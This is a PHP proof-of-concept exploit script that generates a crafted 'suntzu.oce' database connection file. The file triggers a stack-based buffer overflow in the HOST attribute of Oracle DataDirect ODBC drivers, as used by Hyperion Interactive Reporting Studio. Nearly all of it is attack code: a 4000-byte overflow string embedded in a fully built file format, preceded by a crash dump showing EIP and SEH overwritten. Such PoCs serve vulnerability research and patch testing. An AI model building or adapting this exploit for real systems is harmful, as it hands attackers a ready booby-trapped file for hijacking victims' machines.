<?php /* Oracle DataDirect ODBC Drivers HOST Attribute arsqls24.dll Stack Based Buffer Overflow PoC (*.oce) by rgod
found a local vector for this: http://retrogod.altervista.org/9sg_oracle_datadirect.htm http://www.exploit-db.com/exploits/18007/
This poc will create a suntzu.oce file which should work against Hyperion Interactive Reporting Studio which is delivered with Oracle Hyperion Suite. When clicked a login box appears, on clicking OK an error message also appears then error then... boom!
description for .oce : Interactive Reporting database connection file
file association: "C:\Oracle\Middleware3\EPMSystem11R1\products\biplus\\bin\\brioqry.exe" "%1"
crash dump, eip and seh overwritten, unicode expanded, I suppose one should be able to deal with it :
(208.152c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0000008b ebx=00000000 ecx=0e752eb8 edx=0f490000 esi=0e6b3d60 edi=0012a338 eip=00410043 esp=0012a2d8 ebp=0012a2ec iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286 brioqry+0x10043: 00410043 0152ff add dword ptr [edx-1],edx ds:0023:0f48ffff=???????? 0:000> g (208.152c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0000008b ebx=00000000 ecx=00410041 edx=7c8285f6 esi=00000000 edi=00000000 eip=00410043 esp=00129f10 ebp=00129f30 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286 brioqry+0x10043: 00410043 0152ff add dword ptr [edx-1],edx ds:0023:7c8285f5=244c8b00 */
function _x($x){ global $buff; list($x) = array_values(unpack('V', $x)); $x = $x + strlen($buff); $x = pack('V',$x); return $x; }
$buff = "mydatabase.com". str_repeat("\x20",16). //cosmetics, no AAAA... inside the login box str_repeat("\x41",4000); //$dsn="DRIVER=DataDirect 6.0 Greenplum Wire Protocol;HOST=;IP=127.0.0.1;PORT=9;DB=DB2DATA;UID=sa;PWD=null;"; //$dsn="DRIVER=DataDirect 6.0 MySQL Wire Protocol;HOST=;IP=127.0.0.1;PORT=9;DB=DATA;UID=sa;PWD=null"; $dsn="DRIVER=DataDirect 6.0 PostgreSQL Wire Protocol;HOST=;UID=system;PWD=XXXXXXXXX;"; while (!(strlen($dsn)==166)){ //fill the gap $dsn.="\x20"; } $dsn=str_replace("HOST=;","HOST=".$buff.";",$dsn); $dump= "#BRIF\x20BIN001". "\x00\x00\x00\x00". _x("\x7b\x07\x00\x00"). //header length, increase counter "\x37\x00\x00\x00". //path length "D:\\Documents\x20and\x20Settings\\Admin\\Desktop\\Predefinito.oce". "\x01\x00\x01\x00". "\x00\x00\x07\x00". "\x00\x00\x0a\x00". "\x00\x00". _x("\xa6\x00\x00\x00"). //dsn length $dsn. "\x00\x00\x00\x00". "\x00\x00\x00\x00". "\x04\x00\x00\x00". "True". "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x01\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x04\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\r\x00\x00\x00". "ColItem.Table". "\x01\x00". "\x00\x00\x04\x00\x00\x00\x12\x00\x00\x00". "ColItem.TableAlias". "\x01\x00\x00\x00\x10\x00". "\x00\x00\r\x00\x00\x00". "ColItem.Owner". "\x01\x00\x00\x00\x1c\x00\x00\x00\x0c\x00\x00". "\x00". "ColItem.Type". "\x01\x00\x00\x00(\x00\x00\x00\x03\x00\x00\x00\x06\x00\x00\x00". "Source". "\x01\x00\x00\x00\x05\x00\x00\x004\x00\x00\x00\x05\x00\x00\x00". "Where". "\x01". "\x00\x00\x00\x05\x00\x00\x008\x00\x00\x00\x07\x00\x00\x00". "OrderBy". "\x01\x00". "\x00\x00\x05\x00\x00\x00<\x00\x00\x00|\x00\x00\x00\x04\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x09\x00\x00\x00\x0c\x00\x00\x00ColItem.Name\x01\x00\x00\x00". "\x04\x00\x00\x00\x10\x00\x00\x00". "ColItem.ColAlias". "\x01\x00\x00\x00\x10\x00\x00\x00". "\x0e\x00\x00\x00". "ColItem.ColNum". "\x01\x00\x00\x00\x1c\x00\x00\x00\x0f\x00\x00\x00". "ColItem.ColType". "\x01\x00\x00\x00(\x00\x00\x00\x10\x00\x00\x00". "ColItem.NumBytes". "\x01\x00\x00\x004\x00". "\x00\x00\x0e\x00\x00\x00". "ColItem.Places". "\x01\x00\x00\x00@\x00\x00\x00\x0e\x00\x00". "\x00". "ColItem.Digits". "\x01\x00\x00\x00L\x00\x00\x00\r\x00\x00\x00". "ColItem.Nulls". "\x01\x00\x00\x00X\x00". "\x00\x00\x12\x00\x00\x00". "ColItem.NativeType". "\x01\x00\x00\x00d\x00\x00\x00\x03\x00\x00". "\x00\x06\x00\x00\x00". "Source". "\x01\x00\x00\x00\x05\x00\x00\x00p\x00\x00\x00". "\x05\x00\x00\x00". "Where". "\x01\x00\x00\x00\x05\x00\x00\x00t\x00\x00\x00\x07". "\x00\x00\x00". "OrderBy". "\x01\x00\x00\x00\x05\x00\x00\x00x\x00\x00\x000\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x0b\x00\x00\x00\x06\x00\x00\x00". "PTable". "\x01\x00\x00\x00\x05\x00\x00". "\x00\x04\x00\x00\x00\x06\x00\x00\x00". "POwner". "\x01\x00\x00\x00\x05\x00\x00". "\x00\x08\x00\x00\x00\x07\x00\x00\x00". "PDBName". "\x01\x00\x00\x00\x05\x00\x00". "\x00\x0c\x00\x00\x00\x08\x00\x00\x00". "PColName". "\x01\x00\x00\x00\x05\x00\x00". "\x00\x10\x00\x00\x00\x06\x00\x00\x00". "FTable". "\x01\x00\x00\x00\x05\x00\x00". "\x00\x14\x00\x00\x00\x06\x00\x00\x00". "FOwner". "\x01\x00\x00\x00\x05\x00\x00". "\x00\x18\x00\x00\x00\x07\x00\x00\x00". "FDBName". "\x01\x00\x00\x00\x05\x00\x00". "\x00\x1c\x00\x00\x00\x08\x00\x00\x00". "FColName". "\x01\x00\x00\x00\x05\x00\x00". "\x00\x20\x00\x00\x00\x06\x00\x00\x00". "SeqKey". "\x01\x00\x00\x00\x05\x00\x00". "\x00\$\x00\x00\x00\x06\x00\x00\x00". "Source". "\x01\x00\x00\x00\x05\x00\x00\x00". "(\x00\x00\x00\x05\x00\x00\x00". "Where". "\x01\x00\x00\x00\x05\x00\x00\x00,\x00". "\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n". "\x00\x00". "\x00\x09\x00\x00\x00". "SrcDBName". "\x01\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00". "\x00\x08\x00\x00\x00". "SrcOwner". "\x01\x00\x00\x00\x05\x00\x00\x00\x08\x00\x00". "\x00\x08\x00\x00\x00". "SrcTable". "\x01\x00\x00\x00\x05\x00\x00\x00\x0c\x00\x00". "\x00\x08\x00\x00\x00". "LookupID". "\x01\x00\x00\x00\x05\x00\x00\x00\x10\x00\x00". "\x00\x0b\x00\x00\x00". "ColumnValue". "\x01\x00\x00\x00\x05\x00\x00\x00\x14\x00\x00". "\x00\x11\x00\x00\x00". "ColumnDescription". "\x01\x00\x00\x00\x05\x00\x00\x00\x18\x00\x00". "\x00\x0c\x00\x00\x00". "LimitMapFrom". "\x01\x00\x00\x00\x05\x00\x00\x00\x1c\x00\x00". "\x00\r\x00\x00\x00". "LimitMapWhere". "\x01\x00\x00\x00\x05\x00\x00\x00\x20\x00\x00\x00". "\x0b\x00\x00\x00". "LookupWhere". "\x01\x00\x00\x00\x05\x00\x00\x00\$\x00\x00\x00\x0e". "\x00\x00\x00". "IsCustomLookup". "\x01\x00\x00\x00\x01\x00\x00\x00(\x00\x00\x00\x04\x00". "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00". "\x01\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00". "\x00\x0c\x00\x00\x00". "NumTableTabs". "\x01\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00". "\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00". "\x00\r\x00\x00\x00". "NumColumnTabs". "\x01\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00". "\x8a\x00\x00\x00\x17\x00\x00\x00yyyy-mm-dd\x20HH:MM:SS.fff\x17\x00\x00\x00yyyy-mm-dd\x20HH:MM:SS.fff\x17\x00". "\x00\x00yyyy-mm-dd\x20HH:MM:SS.fff\n". "\x00\x00\x00yyyy-mm-dd\x08\x00\x00\x00HH:MM:SS\x17\x00\x00\x00yyyy-mm-dd\x20HH:MM:SS.fff\x00". "\x00\x00\x00\x01\x00\x00\x00\x08\x00\x00\x00DateAttr\x06\x00\x00\x00\x05". "\x00\x00\x00\x04\x00\x00\x00\x08\x00\x00\x00\x12\x00\x00\x00". "TableCat.DaOCEPref". "\x01\x00\x00\x00". _x("N\x01\x00\x00"). "\x10\x00\x00\x00". "ColCat.DaOCEPref". "\x01\x00\x00\x00". _x("@\x02\x00\x00"). "\x11\x00\x00\x00". "FKeyCat.DaOCEPref". "\x01\x00\x00\x00". _x("\xf6\x03\x00\x00"). "\x15\x00\x00\x00". "LimitMapSQL.DaOCEPref". "\x01\x00\x00\x00". _x("%\x05\x00\x00"). "\x15\x00\x00\x00". "TableFilter.DaOCEPref". "\x01\x00\x00\x00". _x("e\x06\x00\x00"). "\x15\x00\x00\x00". "TableRemarks.DMParams". "\x01\x00\x00\x00". _x("x\x06\x00\x00"). "\x16\x00\x00\x00". "ColumnRemarks.DMParams". "\x01\x00\x00\x00". _x("\xa4\x06\x00\x00"). "\x14\x00\x00\x00". "DateFormats.DMParams". "\x01\x00\x00\x00". _x("\xd1\x06\x00\x00"). ":\x00\x00\x00". "\x0e\x00\x00\x00". "OpenCatalogExt". "\x01\x00\x00\x00". "\x05\x00\x00\x00". "\x04\x00\x00\x00". "\x06\x00\x00\x00". "IsUTF8". "\x01\x00\x00\x00". "\x01\x00\x00\x00". "?\x00\x00\x00". "\x07\x00\x00\x00". "SavePwd". "\x01\x00\x00\x00". "\x01\x00\x00\x00". "@\x00\x00\x00". "\x08\x00\x00\x00". "ConnType". "\x01\x00\x00\x00". "\x03\x00\x00\x00". "A\x00\x00\x00". "\x07\x00\x00\x00". "ApiCode". "\x01\x00\x00\x00". "\x03\x00\x00\x00". "E\x00\x00\x00". "\x07\x00\x00\x00". "SvrCode". "\x01\x00\x00\x00". "\x03\x00\x00\x00". "I\x00\x00\x00". "\x08\x00\x00\x00". "Extra1_1". "\x01\x00\x00\x00". "\x05\x00\x00\x00". "M\x00\x00\x00". "\x06\x00\x00\x00". "CurrDB". "\x01\x00\x00\x00". "\x05\x00\x00\x00". _x("\xf7\x00\x00\x00"). "\x06\x00\x00\x00". "DBList". "\x01\x00\x00\x00". "\x05\x00\x00\x00". _x("\xfb\x00\x00\x00"). "\r\x00\x00\x00". "MetaData_Save". "\x01\x00\x00\x00". "\x05\x00\x00\x00". _x("\xff\x00\x00\x00"). "\x0b\x00\x00\x00". "MetaDataKey". "\x01\x00\x00\x00". "\x03\x00\x00\x00". _x("\x07\x01\x00\x00"). "\x12\x00\x00\x00". "InformaticaWritten". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("\x0b\x01\x00\x00"). "\x0c\x00\x00\x00". "SelectCommit". "\x01\x00\x00\x00". "\x03\x00\x00\x00". _x("\x0c\x01\x00\x00"). "\x0b\x00\x00\x00". "DBCancelOpt". "\x01\x00\x00\x00". "\x03\x00\x00\x00". _x("\x10\x01\x00\x00"). "\n\x00\x00\x00". "StringMode". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("\x14\x01\x00\x00"). "\x0b\x00\x00\x00". "EdaHardQuit". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("\x15\x01\x00\x00"). "\x08\x00\x00\x00". "DisTrans". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("\x16\x01\x00\x00"). "\x08\x00\x00\x00". "UpdValid". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("\x17\x01\x00\x00"). "\n\x00\x00\x00". "UseODBCDlg". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("\x18\x01\x00\x00"). "\x09\x00\x00\x00". "JoinInfoQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("\x19\x01\x00\x00"). "\n\x00\x00\x00". "GuessJoinQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("\x1a\x01\x00\x00"). "\x0b\x00\x00\x00". "CustomJoinQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("\x1b\x01\x00\x00"). "\x0b\x00\x00\x00". "CustTblQryQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("\x1c\x01\x00\x00"). "\x09\x00\x00\x00". "FastModeQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("\x1d\x01\x00\x00"). "\n\x00\x00\x00". "CurrOCETab". "\x01\x00\x00\x00". "\x03\x00\x00\x00". _x("\x1e\x01\x00\x00"). "\x07\x00\x00\x00". "CurrTab". "\x01\x00\x00\x00". "\x03\x00\x00\x00". _x("\"\x01\x00\x00"). "\r\x00\x00\x00". "CurrRepManTab". "\x01\x00\x00\x00". "\x03\x00\x00\x00". _x("&\x01\x00\x00"). "\x0e\x00\x00\x00". "UseODBCDBNameQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("*\x01\x00\x00"). "\n\x00\x00\x00". "UseTblSqlQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("+\x01\x00\x00"). "\x07\x00\x00\x00". "QuotedQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x(",\x01\x00\x00"). "\x09\x00\x00\x00". "ChangeDBQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("-\x01\x00\x00"). "\r\x00\x00\x00". "SaveUserNameQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x(".\x01\x00\x00"). "\x0c\x00\x00\x00". "UseTimeLimit". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("/\x01\x00\x00"). "\x09\x00\x00\x00". "TimeLimit". "\x01\x00\x00\x00". "\x03\x00\x00\x00". _x("0\x01\x00\x00"). "\x0c\x00\x00\x00". "AllowNonJoin". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("4\x01\x00\x00"). "\x07\x00\x00\x00". "MDDMode". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("5\x01\x00\x00"). "\n\x00\x00\x00". "PacketSize". "\x01\x00\x00\x00". "\x03\x00\x00\x00". _x("6\x01\x00\x00"). "\x0c\x00\x00\x00". "DisableAsync". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x(":\x01\x00\x00"). "\x06\x00\x00\x00". "IsHPIW". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x(";\x01\x00\x00"). "\x10\x00\x00\x00". "RetainDateFormat". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("<\x01\x00\x00"). "\x10\x00\x00\x00". "AdvSetOperations". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("=\x01\x00\x00"). "\x10\x00\x00\x00". "MemberProperties". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x(">\x01\x00\x00"). "\x1c\x00\x00\x00". "UseOracleOuterJoinOpOnLimits". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("?\x01\x00\x00"). "\x18\x00\x00\x00". "UseODBCOuterJoinOnLimits". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("@\x01\x00\x00"). "\x16\x00\x00\x00". "UseODBCOuterJoinSyntax". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("A\x01\x00\x00"). "\x10\x00\x00\x00". "OracleBufferSize". "\x01\x00\x00\x00". "\x03\x00\x00\x00". _x("B\x01\x00\x00"). "\x08\x00\x00\x00". "CustTblQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("F\x01\x00\x00"). "\x08\x00\x00\x00". "CustColQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("G\x01\x00\x00"). "\x0c\x00\x00\x00". "FilterOwnerQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("H\x01\x00\x00"). "\x0c\x00\x00\x00". "FilterTableQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("I\x01\x00\x00"). "\x0b\x00\x00\x00". "FilterTypeQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("J\x01\x00\x00"). "\x0c\x00\x00\x00". "DefineTableQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("K\x01\x00\x00"). "\x0c\x00\x00\x00". "DefineOwnerQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("L\x01\x00\x00"). "\x0b\x00\x00\x00". "DefineTypeQ". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("M\x01\x00\x00"). "\x15\x00\x00\x00". "FilterBRIOTblsSetting". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("q\x06\x00\x00"). "\x19\x00\x00\x00". "UseDifferentRepConnection". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("r\x06\x00\x00"). "\x11\x00\x00\x00". "MetaDataOwnerName". "\x01\x00\x00\x00". "\x05\x00\x00\x00". _x("s\x06\x00\x00"). "\x09\x00\x00\x00". "AdvOption". "\x01\x00\x00\x00". "\x01\x00\x00\x00". _x("w\x06\x00\x00"). "\x00"; file_put_contents("suntzu.oce",$dump); ?>
|